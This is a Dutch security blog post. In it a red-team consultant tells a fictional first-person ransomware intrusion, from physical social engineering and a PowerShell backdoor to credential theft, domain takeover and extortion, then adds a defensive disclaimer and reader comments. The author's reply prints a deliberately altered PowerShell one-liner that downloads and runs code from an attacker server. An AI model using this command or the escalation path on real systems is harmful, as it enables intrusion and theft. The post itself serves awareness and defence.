Ik zweet in mijn eigenlijk te kleine monteurspak. Wat als de dame bij de receptie ziet dat ik een vals identiteitsbewijs heb? Waarom pakte die virusscanner nou mijn malware op? Ik had het virus toch goed versleuteld.. Maar blijven werken als IT-beheerder? Nee, echt niet! Ik heb hier nu eenmaal voor gekozen en ga nu niet meer terugkrabbelen. ‘Een nieuwe uitdaging’ zei ik tegen mijn baas. Haha, hij moest eens weten…
Over deze blogger
Martijn Sprengers MSc is werkzaam als IT Security Consultant bij KPMG IT Advisory. Hij studeerde af op het gebied van Computer Security en heeft meer dan 5 jaar relevante ervaring met IT-beveiliging. Hij is gespecialiseerd in de vele facetten van het beoordelen van IT-beveiliging: ethisch hacken, social engineering, penetratie testen, red teaming en IT-auditing. Klanten zijn onder meer grote bedrijven, zoals financiële instellingen, overheden en petrochemische organisaties. Onlangs heeft Martijn zich verder gespecialiseerd op het gebied van industriële IT-beveiliging (Industrial Control Systems), met een focus op nieuwe ontwikkelingen en bedreigingen.
Als je het goed doet, is het ontwikkelen van ransomware een uitstekende en redelijk veilige inkomstenbron. Het probleem met de meeste ransomware is echter dat het gericht is op individuen, niet op bedrijven. Daar valt namelijk veel meer te halen! Als je het losgeld namelijk in Dash of Monero, nóg anoniemere varianten van de Bitcoin, laat uitbetalen is het geld bijna niet meer te traceren. Het enige probleem is dat die cryptocurrency-markten nog niet zo groot zijn. Ach ja, er zullen maar weinig bedrijven aangifte doen bij de politie als je het juiste bedrag vraagt. Als zij voor een redelijk bedrag een groot datalek, of zelfs het verliezen van ál hun bedrijfsdata kunnen vermijden, is de keuze meestal snel gemaakt. Ransomware is dus mijn weg naar het grote geld.
Binnendringen
Voor een geslaagde ransomware-campagne is research nodig. Ik zoek daarom een geschikt bedrijf, niet te klein en niet te groot, dat met waardevolle data werkt. Een bedrijf in de technologiesector met meer dan 10.000 medewerkers en een omzet van een paar miljard is een ideaal slachtoffer door het relatief hoge aantal werknemers. In zo’n bedrijf valt het niet op als er eens een vreemd persoon door het pand loopt. Uit mijn eerste verkenning van hun IT-infrastructuur blijkt bovendien dat die niet erg strak wordt beheerd. Het plan is als volgt: ik loop het pand binnen en doe me voor als onderhoudsmonteur van de printers.
Dat ging toch beter dan verwacht. Ik hoef niet eens mijn valse identificatiebewijs en onderhoudspapieren te laten zien. Over de werkvloer lopend zie ik al snel een geschikte printer naast een wandcontactdoos met een vrije netwerkaansluiting. Ik plug hier mijn custom ingerichte Raspberry Pi in en verbind deze met het netwerk. Terloops trek ik nog even de servicepanelen van de printer open als een werknemer me vraagt of er iets mis is met de printer. “Even geduld,” zeg ik. “Je kunt hem zo weer gebruiken.” Via mijn smartphone check ik na een minuut of de Raspberry Pi zich al heeft aangemeld op mijn command and control-omgeving. Dat heeft hij, maar uit een snelle scan blijkt hij op een gescheiden gastnetwerk te zitten. Ik unplug de Raspberry Pi en kijk snel of er onbewaakte werkstations zijn. Dit blijkt het geval. Een werknemer die naar de receptie wordt geroepen laat zijn laptop ingelogd achter. “Even de printer testen,” mompel ik hardop. Met een usb-stick en een snelle dubbelklik installeerde ik in nog geen tien seconden via PowerShell een backdoor op zijn systeem. Mission accomplished!
Escaleren
Thuisgekomen kan ik aan het echte werk beginnen. Via mijn eigen TOR relay device log ik in op mijn command & control-server, die ik eerder heb gekocht met darkcoins, zodat ik minder traceerbaar ben, om vervolgens te verbinden met de backdoor op het werkstation. Ik scan het interne netwerk en concludeer dat alle werkstations redelijk dicht zitten. Wel kan ik op de ‘netlogon’ share van de domain-controller. Na een tijdje zoeken vind ik daar de ‘groups.xml’ file, met daarin een versleuteld local admin-wachtwoord van een van de werkstations. Ha! Een oude kwetsbaarheid, maar daarom niet minder gevaarlijk. Ik kan dit wachtwoord makkelijk ontcijferen en kan vanaf die desktop een sprong maken naar een andere desktop. Dit is een Windows 7-computer, waarvan ik vrij eenvoudig alle wachtwoorden van gebruikers die op dit systeem zijn ingelogd kan uitlezen. Ik zie bovendien dat een service-account is ingelogd, die kennelijk op alle desktops mag inloggen. Ik trek dat wachtwoord uit het geheugen en kan vervolgens bij alle systemen en desktops inloggen. Vervolgens ga ik op zoek naar de domain-admin, zodat ik ook op servers kan inloggen. De domain-admin vind ik helaas niet, waardoor ik besluit een script te installeren op alle werkstations dat bijhoudt wie wanneer en waar inlogt. Na een dag weet ik op welk systeem de domain-admin werkt. Met het wachtwoord van de service-account infecteer ik dit systeem met een virus om zijn wachtwoord te kunnen stelen. Hij blijkt met Windows 8 te werken, dus ik kan alleen zijn hash vinden. Gelukkig kan ik me ook met deze hash aanmelden op de domain-controller. Nu heb ik de gehele infrastructuur onder mijn controle en installeer ransomware op alle systemen die aan het domein zijn verbonden. Op de laptop van de CEO zet ik als bureaublad mijn dringende oproep om binnen drie dagen het equivalent van 250.000 euro gespreid over meerdere cryptovaluta te betalen. Doet hij dit niet, dan verliest hij al zijn bedrijfsdata. Voor de multinational blijkt dit bedrag precies goed. Ik zie wat verschrikte e-mailconversaties voorbij komen met de suggestie om de politie in te schakelen. Maar men besluit uiteindelijk dat betalen toch de meest veilige optie is. Na een paar dagen vind ik 33.602 DASH en 231.481 XMR in mijn account en verwijder braaf de ransomware (behalve dan de hash van de ‘krbtgt’ gebruiker, die kan altijd nog van pas komen). Die moet ik vervolgens enkel nog inwisselen naar Bitcoin, want die valuta is veel stabieler. Om maximaal ontraceerbaar te zijn, splits ik het bedrag over 7 verschillende Bitcoin-wallets. Dit levert me wel een kleine 50.000 euro aan conversiekosten op, maar de gemoedsrust is veel waard. Nog wel even netjes de command en control infrastructuur afsluiten en de domeinnamen verkopen.
Cashen
Achteraf blijkt de hele exercitie toch een stuk lastiger dan ik had gehoopt, maar de uiteindelijke beloning maakt veel goed. Met ruim 200.000 euro in bitcoin, gesplitst over verschillende wallets, is dit een uiterst geslaagde actie. Het is meer dan genoeg geld om mijn baan te kunnen opzeggen, en rustig voorbereidingen te maken voor een nieuwe ransomware-campagne. Natuurlijk valt er nog veel te verbeteren. Ik denk bijvoorbeeld aan een meer dringende oproep met een timer, die de betaling mogelijk kan versnellen. Of misschien een betere instructie voor het kopen en overmaken van de Darkcoin. Maar dat zijn details. Ik denk dat deze nieuwe carrière me erg goed gaat bevallen. Er zijn nog zoveel potentiële slachtoffers dat ik er zelfs aan denk om een deel van mijn werk te gaan outsourcen, zoals de ‘helpdesk’ en communicatie bijvoorbeeld. Als ik zo doorga, kan ik over een paar maanden probleemloos met pensioen. Dat was me als IT-beheerder toch niet gelukt.
Disclaimer & opvolging
Dit fictieve verhaal is gebaseerd op mijn persoonlijke ervaringen tijdens het uitvoeren van dreigingensimulaties, wat ook wel ‘red teaming’wordt genoemd. Ik hoop hiermee duidelijk te maken welke technieken en werkwijzen aanvallers gebruiken om ransomware te installeren en hoe gevaarlijk dit is voor bedrijven. Is het aannemelijk dat dit specifieke scenario zich ook bij uw organisatie zal voltrekken? Nee, de meeste ransomware werkt nog niet zo doelgericht. Maar het is absoluut bedoeld als een waarschuwing. Focus je niet alleen op preventieve en detectieve maatregelen. Iedereen laat weleens een steekje vallen en zelfs de beste Security Operation Centers zien niet alles. Het is daarom beter om ook eens na te denken over vragen als: Wat als dit mij overkomt? Ga ik betalen of de politie bellen? Wat ga ik naar wie communiceren? Mogen mijn IT beheerders wel of niet zelf de malware verwijderen? En heb ik processen ingericht, zodat er geen forensische data verloren gaat (forensic readiness)?
Afgezien van wat fouten in uw fictieve verhaal op zich best een mooie waarschuwing. De fysieke toegang kan soms best makkelijk af gaan. Bedrijven zijn heel verschillend daar in. De één is superstreng en bij de andere zou je met een monteurs pak gewoon beeldschermen kunnen gaan weghalen.
Misschien is het trouwens maar beter ook dat er wat fouten in uw verhaal zitten. Je weet nooit wie het allemaal leest. (Maar Powershell heeft standaard niet alle plugins geïnstalleerd, dus de functionaliteit op een standaardstation zal te karig zijn en vanaf thuis hacken?)
Hoi Technicus,
Dank voor je bericht. Inderdaad de controle op fysieke toegang is soms schrikbarend slecht. De meeste virussen (zoals ransomware) worden echter online verspreid, bijv. door gebruik van de zogenoemde ‘watering hole’ attacks of spear phishing.
Wat betreft technische fouten, moet ik je toch teleurstellen. De door mij genoemde aanvalspaden zijn zeker mogelijk en heb ik meerdere malen gebruikt tijdens red teaming exercities. Powershell is inderdaad niet altijd volledig geinstalleerd, maar meestal mag onderstaande wel worden uitgevoerd::80/ps’))”
powershell.exe -nop -w hidden -c “IEX ((object-new webclient.net).stringdownload(‘http://
Deze regel code doet niks anders dan een verbinding opzetten en meer code downloaden. Daarna maakt de laptop/desktop van het slachtoffer verbinding met mijn command & control server zodat ik op afstand (dus ook vanuit thuis) de machine kan aansturen.
PS In bovenstaande regel powershell zitten wel opzettelijk een aantal fouten 🙂